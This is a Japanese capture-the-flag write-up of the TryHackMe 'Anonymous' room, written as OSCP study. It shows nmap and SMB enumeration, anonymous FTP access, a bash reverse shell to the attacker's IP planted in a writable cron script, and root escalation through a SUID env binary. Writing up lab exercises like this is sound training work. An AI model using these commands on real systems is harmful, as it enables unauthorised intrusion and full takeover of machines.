【TryHackMe】Anonymous Writeup 

# はじめに
OSCP合格に向けて着手しているTryHackMeのwriteup兼備忘録になります。
今回は難易度がMediumである「[Anonymous](https://tryhackme.com/room/anonymous)」というRoomを攻略しました。
**※扱い次第では法に触れるため、悪用厳禁です。**

# Task1 
こちらは6つのサブタスクで構成されています。

## Enumerate the machine.  How many ports are open?
ポートスキャンを実施します。
```
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 10.10.216.139  
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-23 03:53 EDT
Nmap scan report for 10.10.216.139
Host is up (0.25s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 26.94 seconds

```

答えは「4」になります。

## What service is running on port 21?
21ポートは「ftp」になります。

## What service is running on ports 139 and 445?
オプションに「-A」をつけて再度ポートスキャンを実施します。
```
┌──(kali㉿kali)-[~]
└─$ nmap -A -p 139,445 10.10.216.139
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-23 03:57 EDT
Nmap scan report for 10.10.216.139
Host is up (0.24s latency).

PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous
|_  System time: 2023-09-23T07:58:01+00:00
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
| smb2-time: 
|   date: 2023-09-23T07:58:01
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.59 seconds

```

答えは「smb」になります。

## There's a share on the user's computer.  What's it called?
smbclientコマンドを使用してアクセスします。
```
┌──(kali㉿kali)-[~]
└─$ smbclient -L 10.10.216.139
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        pics            Disk      My SMB Share Directory for Pics
        IPC$            IPC       IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            ANONYMOUS

```
答えは「pics」になります。

## user.txt
先ほど確認した「pics」フォルダへsmbclientを使用してアクセスします。
```
┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.216.139/pics 
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun May 17 07:11:34 2020
  ..                                  D        0  Wed May 13 21:59:10 2020
  corgo2.jpg                          N    42663  Mon May 11 20:43:42 2020
  puppos.jpeg                         N   265188  Mon May 11 20:43:42 2020

                20508240 blocks of size 1024. 13306780 blocks available
smb: \> 
```
getコマンドで画像をローカル環境に落としましたが、特に何も無さそうです。

続いてftpにanonymousでログインします。
```
┌──(kali㉿kali)-[~]
└─$ ftp anonymous@10.10.216.139
Connected to 10.10.216.139.
220 NamelessOne's FTP Server!
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 
```

ログインしファイルを探索していたところ、「scripts」フォルダを確認しました。
```
ftp> ls
229 Entering Extended Passive Mode (|||29041|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> 
ftp> cd scripts
250 Directory successfully changed.
ftp> 
ftp> ls
229 Entering Extended Passive Mode (|||62651|)
150 Here comes the directory listing.
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         4042 Sep 29 14:21 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.
ftp> 
```

そのフォルダ内のテキストファイルには特にヒントは無さそうでした。
次に「clean.sh」と「removed_files.log」を確認したところ「clean.sh」の実行結果が「removed_files.log」に出力されることが分かります。
また「removed_files.log」より、cronによって定期的に「clean.sh」が実行されていると推測できます。

その為「clean.sh」を下記スクリプトに書き換え、定期実行によってリバースシェルを作動させます。
```
#!/bin/bash
bash -i >& /dev/tcp/10.6.71.140/4444 0>&1
```

```
ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||58457|)
150 Ok to send data.
100% |********************************|    54        1.32 MiB/s    00:00 ETA
226 Transfer complete.
54 bytes sent in 00:00 (0.10 KiB/s)
ftp> 
```

攻撃側端末のコマンドプロンプトにてnetcatを実行し、先ほどのスクリプトによる通信を待ち受けます。
```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.6.71.140] from (UNKNOWN) [10.10.216.139] 45742
bash: cannot set terminal process group (1953): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ 
```

無事接続が成功したら、最初のフラグ獲得になります。
```
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
```

## root.txt
普段使用する「sudo -l」だと特に何も得られませんでした。
次に下記コマンドを使用して、rootが所有していてかつ、SUIDの設定があるファイルを探します。

SUIDの設定されたファイルは、どのユーザが実行した場合においても所有者が実行された状態となります。
つまり所有者がrootであるファイルをどうにか実行できれば、rootが実行した状態となりフラグ獲得が可能になります。

```
namelessone@anonymous:~$ find / -user root -perm -u=s 2>/dev/null
find / -user root -perm /4000 2>/dev/null
/usr/bin/passwd
/usr/bin/env
```

[GTFOBins](https://gtfobins.github.io/gtfobins/env/)を参考に下記の通りenvコマンドを実行すると、rootとして実行された状態になり、さらに任意のコマンドを使用することが出来ます。
```
namelessone@anonymous:~$ env /bin/sh -p
env /bin/sh -p
whoami 
root
```

これにて最後のフラグ獲得になります。
```
cat root/root.txt
```


# さいごに
以上となります。
userのフラグまでは概ね初見でも取得できるようになりましたが、権限昇格は未だ初見では解けない場合があるので、引き続きRoomを攻略して知見を広げていきたいです。